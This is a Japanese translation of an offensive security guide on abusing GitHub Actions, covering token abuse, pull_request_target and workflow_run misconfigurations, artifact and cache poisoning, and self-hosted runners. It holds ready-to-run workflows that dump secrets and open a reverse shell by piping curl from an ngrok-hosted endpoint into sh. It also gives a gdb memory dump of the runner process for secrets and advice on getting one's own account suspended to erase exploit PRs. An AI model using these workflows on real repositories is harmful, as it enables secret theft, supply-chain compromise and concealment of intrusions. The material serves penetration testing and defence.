# Abusing Github Actions {{#include ../../../banners/hacktricks-training.md}} ## 基本情報 このページでは以下の内容を見つけることができます: - 攻撃者がGithub Actionにアクセスできた場合の**影響の概要** - **アクションにアクセスするための異なる方法**: - アクションを作成するための**権限** - **プルリクエスト**関連のトリガーを悪用する - **他の外部アクセス**技術を悪用する - すでに侵害されたリポジトリからの**ピボット** - 最後に、内部からアクションを悪用するための**ポストエクスプロイト技術**に関するセクション(前述の影響を引き起こす) ## 影響の概要 [**Github Actionsの基本情報を確認する**](../basic-github-information.md#github-actions)についての紹介。 **リポジトリ内でGitHub Actionsで任意のコードを実行できる**場合、次のことができるかもしれません: - パイプラインにマウントされた**シークレットを盗む**ことができ、**パイプラインの権限を悪用**して、AWSやGCPなどの外部プラットフォームに不正アクセスする。 - **デプロイメント**や他の**アーティファクトを侵害する**。 - パイプラインが資産をデプロイまたは保存する場合、最終製品を変更し、サプライチェーン攻撃を可能にする。 - **カスタムワーカーでコードを実行**して、計算能力を悪用し、他のシステムにピボットする。 - `GITHUB_TOKEN`に関連付けられた権限に応じて、**リポジトリコードを上書きする**。 ## GITHUB_TOKEN この「**シークレット**」(`${{ secrets.GITHUB_TOKEN }}`および`${{ github.token }}`から来る)は、管理者がこのオプションを有効にしたときに与えられます:
このトークンは**Githubアプリケーションが使用するものと同じ**で、同じエンドポイントにアクセスできます:[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] > Githubは、リポジトリが`GITHUB_TOKEN`を使用して他の内部リポジトリにアクセスできるようにする[**フロー**](https://github.com/github/roadmap/issues/74)をリリースするべきです。 このトークンの可能な**権限**は次のリンクで確認できます:[https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) トークンは**ジョブが完了した後に期限切れ**になります。\ これらのトークンは次のようになります:`ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` このトークンでできる興味深いこと: {{#tabs }} {{#tab name="Merge PR" }} ```bash # Merge PR curl -X PUT \ https://api.github.com/repos///pulls//merge \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header "content-type: application/json" \ -d "{\"commit_title\":\"commit_title\"}" ``` {{#endtab }} {{#tab name="PRを承認する" }} ```bash # Approve a PR curl -X POST \ https://api.github.com/repos///pulls//reviews \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header 'content-type: application/json' \ -d '{"event":"APPROVE"}' ``` {{#endtab }} {{#tab name="PRを作成" }} ```bash # Create a PR curl -X POST \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header 'content-type: application/json' \ https://api.github.com/repos///pulls \ -d '{"head":"","base":"master", "title":"title"}' ``` {{#endtab }} {{#endtabs }} > [!CAUTION] > 注意してください。いくつかの場面で、**Github Actionsのenvsやsecretsの中にgithubユーザートークンを見つけることができる**でしょう。これらのトークンは、リポジトリや組織に対してより多くの権限を与える可能性があります。
Github Action出力のシークレットのリスト ```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
シークレットを使ってリバースシェルを取得 ```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
他のユーザーのリポジトリでGithubトークンに与えられた権限を**アクションのログを確認することで**チェックすることが可能です:
## 許可された実行 > [!NOTE] > これはGithubアクションを危険にさらす最も簡単な方法です。このケースでは、**組織内に新しいリポジトリを作成するアクセス権**があるか、**リポジトリに対する書き込み権限**があることを前提としています。 > > このシナリオにいる場合は、[ポストエクスプロイテーション技術](./#post-exploitation-techniques-from-inside-an-action)を確認するだけです。 ### リポジトリ作成からの実行 組織のメンバーが**新しいリポジトリを作成でき**、あなたがGithubアクションを実行できる場合、**新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗む**ことができます。 ### 新しいブランチからの実行 既にGithubアクションが設定されているリポジトリで**新しいブランチを作成できる**場合、**それを修正し、**コンテンツを**アップロードし、**その新しいブランチからそのアクションを**実行する**ことができます。この方法で、**リポジトリおよび組織レベルのシークレットを外部に持ち出す**ことができます(ただし、それらがどのように呼ばれているかを知っている必要があります)。 修正されたアクションを**手動で**実行可能にすることができます。**PRが作成されたとき**や**コードがプッシュされたとき**(どれだけ目立ちたいかによります): ```yaml on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - master push: # Run it when a push is made to a branch branches: - current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches ``` --- ## フォークされた実行 > [!NOTE] > 攻撃者が**他のリポジトリのGithub Actionを実行する**ことを可能にする異なるトリガーがあります。これらのトリガー可能なアクションが不適切に構成されている場合、攻撃者はそれらを妥協させることができるかもしれません。 ### `pull_request` ワークフロートリガー**`pull_request`**は、プルリクエストが受信されるたびにワークフローを実行しますが、いくつかの例外があります:デフォルトでは、**初めて**コラボレーションする場合、いくつかの**メンテイナー**がワークフローの**実行**を**承認**する必要があります。
> [!NOTE] > **デフォルトの制限**は**初めての**貢献者に対してのものであるため、**有効なバグ/タイプミスを修正する**ことで貢献し、その後**新しい`pull_request`権限を悪用するために他のPRを送信する**ことができます。 > > **これをテストしましたが、うまくいきませんでした**:~~別のオプションは、プロジェクトに貢献した誰かの名前でアカウントを作成し、そのアカウントを削除することです。~~ さらに、デフォルトでは**書き込み権限**と**シークレットアクセス**をターゲットリポジトリに対して防ぎます。これは[**ドキュメント**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)に記載されています: > `GITHUB_TOKEN`を除いて、**シークレットはランナーに渡されません**。ワークフローが**フォークされた**リポジトリからトリガーされた場合、**`GITHUB_TOKEN`はプルリクエストから**読み取り専用の権限を持っています**。 攻撃者はGithub Actionの定義を変更して任意のことを実行し、任意のアクションを追加することができます。しかし、前述の制限のためにシークレットを盗んだり、リポジトリを上書きしたりすることはできません。 > [!CAUTION] > **はい、攻撃者がPRでトリガーされるgithub actionを変更した場合、彼のGithub Actionが使用され、元のリポジトリのものは使用されません!** 攻撃者が実行されるコードを制御しているため、`GITHUB_TOKEN`にシークレットや書き込み権限がなくても、攻撃者は例えば**悪意のあるアーティファクトをアップロードする**ことができます。 ### **`pull_request_target`** ワークフロートリガー**`pull_request_target`**は、ターゲットリポジトリに**書き込み権限**と**シークレットへのアクセス**を持っています(許可を求めません)。 ワークフロートリガー**`pull_request_target`**は**PRによって与えられたコンテキストではなく、ベースコンテキストで実行される**ことに注意してください(**信頼できないコードを実行しないため**)。`pull_request_target`についての詳細は[**ドキュメントを確認してください**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\ さらに、この特定の危険な使用についての詳細は、[**githubのブログ投稿を確認してください**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。 **実行されるワークフロー**が**ベース**で定義されたものであり、**PR**ではないため、**`pull_request_target`を使用することは**安全**に見えるかもしれませんが、**安全でない場合がいくつかあります**。 そして、これには**シークレットへのアクセス**があります。 ### `workflow_run` [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run)トリガーは、別のワークフローが`completed`、`requested`、または`in_progress`のときにワークフローを実行することを許可します。 この例では、別の「テストを実行」ワークフローが完了した後に実行されるようにワークフローが構成されています: ```yaml on: workflow_run: workflows: [Run Tests] types: - completed ``` Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. この種のワークフローは、**`pull_request`** または **`pull_request_target`** を介して外部ユーザーによって **トリガーされる** **ワークフロー** に **依存している** 場合、攻撃される可能性があります。いくつかの脆弱な例は [**このブログ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**で見つけることができます。** 最初の例は、**`workflow_run`** トリガーされたワークフローが攻撃者のコードをダウンロードすることです: `${{ github.event.pull_request.head.sha }}`\ 2つ目の例は、**信頼できない** コードから **`workflow_run`** ワークフローに **アーティファクト** を **渡す** ことと、このアーティファクトの内容を **RCEに対して脆弱** な方法で使用することです。 ### `workflow_call` TODO TODO: `pull_request` から実行された場合、使用/ダウンロードされたコードが元のものであるかフォークされたPRのものであるかを確認する ## フォークされた実行の悪用 外部の攻撃者がGitHubワークフローを実行させる方法についてすべて言及しましたが、次に、これらの実行が不適切に構成されている場合、どのように悪用される可能性があるかを見てみましょう。 ### 信頼できないチェックアウト実行 **`pull_request`** の場合、ワークフローは **PRのコンテキスト** で実行されるため(**悪意のあるPRのコード** を実行します)、誰かが **最初に承認する必要があります** そして、いくつかの [制限](./#pull_request) で実行されます。 **`pull_request_target` または `workflow_run`** を使用するワークフローが **`pull_request_target` または `pull_request`** からトリガーされるワークフローに依存している場合、元のリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。 > [!CAUTION] > ただし、**アクション** に **明示的なPRチェックアウト** があり、**PRからコードを取得する**(ベースからではなく)場合、攻撃者が制御するコードが使用されます。例えば(PRコードがダウンロードされる行12を確認):
# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
潜在的に **信頼できないコードは `npm install` または `npm build` の間に実行されます**。ビルドスクリプトと参照された **パッケージはPRの著者によって制御されています**。 > [!WARNING] > 脆弱なアクションを検索するためのGitHubドークは: `event.pull_request pull_request_target extension:yml` ですが、アクションが不適切に構成されていても、実行されるジョブを安全に構成する方法はいくつかあります(PRを生成するアクターが誰であるかに関する条件を使用するなど)。 ### コンテキストスクリプトインジェクション 特定の [**GitHubコンテキスト**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) の値は、PRを作成する **ユーザー** によって **制御されている** ことに注意してください。GitHubアクションがその **データを使用して何かを実行する** 場合、**任意のコード実行** に繋がる可能性があります: {{#ref}} gh-actions-context-script-injections.md {{#endref}} ### **GITHUB_ENV スクリプトインジェクション** ドキュメントによると: 環境変数を定義または更新し、これを **`GITHUB_ENV`** 環境ファイルに書き込むことで、ワークフロージョブの後続のステップで **環境変数を利用可能にする** ことができます。 攻撃者がこの **env** 変数内に **任意の値を注入** できる場合、**LD_PRELOAD** や **NODE_OPTIONS** のようなコードを実行する環境変数を注入することができます。 例えば ([**これ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**これ**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project))、アップロードされたアーティファクトを信頼してその内容を **`GITHUB_ENV`** 環境変数に保存するワークフローを想像してください。攻撃者はこれを妥協するために次のようなものをアップロードできます:
### 脆弱なサードパーティのGitHubアクション #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) [**このブログ投稿**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) で述べたように、このGitHubアクションは異なるワークフローやリポジトリからアーティファクトにアクセスすることを可能にします。 問題は、**`path`** パラメータが設定されていない場合、アーティファクトが現在のディレクトリに抽出され、後で使用または実行される可能性のあるファイルを上書きできることです。したがって、アーティファクトが脆弱な場合、攻撃者はこれを悪用してアーティファクトを信頼する他のワークフローを妥協させることができます。 脆弱なワークフローの例: ```yaml on: workflow_run: workflows: ["some workflow"] types: - completed jobs: success: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: download artifact uses: dawidd6/action-download-artifact with: workflow: ${{ github.event.workflow_run.workflow_id }} name: artifact - run: python ./script.py with: name: artifact path: ./script.py ``` このワークフローを使って攻撃することができます: ```yaml name: "some workflow" on: pull_request jobs: upload: runs-on: ubuntu-latest steps: - run: echo "print('exploited')" > ./script.py - uses actions/upload-artifact@v2 with: name: artifact path: ./script.py ``` --- ## その他の外部アクセス ### 削除された名前空間のリポジトリハイジャック アカウントが名前を変更すると、他のユーザーがその名前でアカウントを登録できるようになります。リポジトリが名前変更前に**100スター未満**だった場合、Githubは同じ名前の新しい登録ユーザーに**削除されたリポジトリと同じ名前のリポジトリを作成する**ことを許可します。 > [!CAUTION] > したがって、アクションが存在しないアカウントのリポジトリを使用している場合、攻撃者がそのアカウントを作成し、アクションを妨害する可能性があります。 他のリポジトリが**このユーザーのリポジトリからの依存関係を使用している**場合、攻撃者はそれらをハイジャックできるようになります。こちらにより詳細な説明があります: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## リポジトリピボティング > [!NOTE] > このセクションでは、最初のリポジトリに何らかのアクセス権があると仮定して、**1つのリポジトリから別のリポジトリにピボットする**技術について説明します(前のセクションを確認してください)。 ### キャッシュポイズニング キャッシュは**同じブランチ内のワークフロー実行間で維持されます**。つまり、攻撃者が**パッケージを妨害**し、それがキャッシュに保存され、**より特権のある**ワークフローによって**ダウンロード**および実行されると、そのワークフローも**妨害**される可能性があります。 {{#ref}} gh-actions-cache-poisoning.md {{#endref}} ### アーティファクトポイズニング ワークフローは**他のワークフローやリポジトリからのアーティファクトを使用する**ことができます。攻撃者が**アーティファクトをアップロードするGithub Actionを妨害**することに成功すれば、他のワークフローを**妨害**することができます: {{#ref}} gh-actions-artifact-poisoning.md {{#endref}} --- ## アクションからのポストエクスプロイテーション ### OIDCを介したAWSおよびGCPへのアクセス 以下のページを確認してください: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} ### 秘密へのアクセス スクリプトにコンテンツを注入している場合、秘密にアクセスする方法を知っておくと興味深いです: - 秘密またはトークンが**環境変数**に設定されている場合、**`printenv`**を使用して環境を介して直接アクセスできます。
Github Action出力の秘密をリストする ```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
シークレットを使ってリバースシェルを取得 ```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
- シークレットが**式に直接使用される**場合、生成されたシェルスクリプトは**ディスク上**に保存され、アクセス可能です。 - ```bash cat /home/runner/work/_temp/* ``` - JavaScriptアクションの場合、シークレットは環境変数を通じて送信されます。 - ```bash ps axe | grep node ``` - **カスタムアクション**の場合、リスクはプログラムが**引数**から取得したシークレットをどのように使用するかによって異なります: ```yaml uses: fakeaction/publish@v3 with: key: ${{ secrets.PUBLISH_KEY }} ``` ### セルフホステッドランナーの悪用 **Github Actionsが非Githubインフラストラクチャで実行されている**かを見つける方法は、Github Action構成yaml内で**`runs-on: self-hosted`**を検索することです。 **セルフホステッド**ランナーは、**追加の機密情報**や他の**ネットワークシステム**(ネットワーク内の脆弱なエンドポイント?メタデータサービス?)にアクセスできる可能性があります。また、隔離されて破棄されていても、**同時に複数のアクションが実行される可能性**があり、悪意のあるアクションが他のアクションの**シークレットを盗む**ことができます。 セルフホステッドランナーでは、**\_Runner.Listener**\_\*\*プロセスから**シークレットを取得する**ことも可能で、これは任意のステップでワークフローのすべてのシークレットをメモリをダンプすることで含むことができます: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` Check [**この投稿で詳細情報を確認してください**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Images Registry Github内に**Dockerイメージをビルドして保存する**Githubアクションを作成することが可能です。\ 以下の展開可能な例を参照してください:
Github Action Build & Push Docker Image ```yaml [...] - name: Set up Docker Buildx uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] ```
前のコードで見たように、Githubレジストリは**`ghcr.io`**にホストされています。 リポジトリに対する読み取り権限を持つユーザーは、個人アクセストークンを使用してDockerイメージをダウンロードできるようになります: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` Then, the user could search for **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics {{#endref}} ### Github Actionsログの機密情報 たとえ**Github**がアクションログ内の**秘密の値**を**検出しようとし**、それらを**表示しないように**しても、アクションの実行中に生成された**他の機密データ**は隠されません。たとえば、秘密の値で署名されたJWTは、[特に設定されない限り](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)、隠されません。 ## 足跡を隠す (Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず第一に、提出されたPRはGithub上で公開され、ターゲットのGitHubアカウントにも明らかに見えます。デフォルトでは、GitHubでは**インターネット上のPRを削除することはできません**が、ひねりがあります。Githubによって**停止された**GitHubアカウントの場合、すべての**PRは自動的に削除**され、インターネットから取り除かれます。したがって、活動を隠すためには、**GitHubアカウントを停止させるか、アカウントをフラグ付けさせる必要があります**。これにより、インターネット上のGitHubでの**すべての活動が隠されます**(基本的にすべてのエクスプロイトPRが削除されます)。 GitHubの組織は、アカウントをGitHubに報告することに非常に積極的です。あなたがする必要があるのは、Issueに「いくつかのもの」を共有することで、彼らは12時間以内にあなたのアカウントが停止されることを確実にします :p そして、あなたのエクスプロイトはGitHub上で見えなくなります。 > [!WARNING] > 組織がターゲットにされたことを把握する唯一の方法は、GitHub UIからPRが削除されるため、SIEMからGitHubログを確認することです。 ## ツール 以下のツールは、Github Actionワークフローを見つけたり、脆弱なものを見つけたりするのに役立ちます: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) {{#include ../../../banners/hacktricks-training.md}}